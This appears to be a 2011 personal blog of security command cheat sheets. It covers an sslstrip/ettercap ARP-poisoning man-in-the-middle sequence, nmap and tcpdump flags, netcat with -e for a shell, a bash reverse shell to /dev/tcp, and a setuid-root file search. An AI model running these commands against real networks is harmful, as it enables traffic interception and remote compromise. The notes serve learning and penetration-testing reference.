Saturday 15 October 2011

Security commands - sslstrip

echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p TCP --destination-port 80 -j REDIRECT --to-port 8080
sslport -l 8080
ettercap -TqM arp:remote /target.ip/ /dest.ip/
tail -f sslstrip.log

Wednesday 5 October 2011

Security commands - basics

nmap
 -PN don't ping, just scan
-sS syn scan (stealth scan)
-sT tcp scan (full handshake
-sU udp scan
-sV
-p ports to scan
--packet-trace
-sP ping scan
-n don't resolve names
--badchecksum
-reason
-O os fingerprint
amap -bqv banners quiet verbose

netcat
-d -run detatched
-l listne
-L listen and maintain windows only
-p port
-e run whatever follows when a connection is made - typically cmd.exe to get a shell
/bin/bash -i > /dev/tcp/[yourip]/[yourport] 0<&1 2>&1

tcpdump -n use numbers instead of names for machines
-nn use numbers instead of name for machines and ports
-i [int] sniff on interface. use -D to list interfaces
-v verbose
-w dump to file
-x print hex
-X print ascii and hex
-s [snaplen] snarf this many bytes, instead of default 68
-p not in promiscumous mode

ether, ip, ip6, arp, rarp, tcp, udp
host
net
port
portrange
src dst

Linux commands - Networking

sudo vi /etc/network/interfaces


auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
sudo /etc/init.d/networking restart


netstat -natu  [also nap]
arp -a
tail -f /var/log/messages
ps -aux | grep blah
lsof (list open files) [-i network based]
lsof -p pid [investigate process]
find / -uid 0 -perm -4000 -print

Hello World

The canonical Hello World post.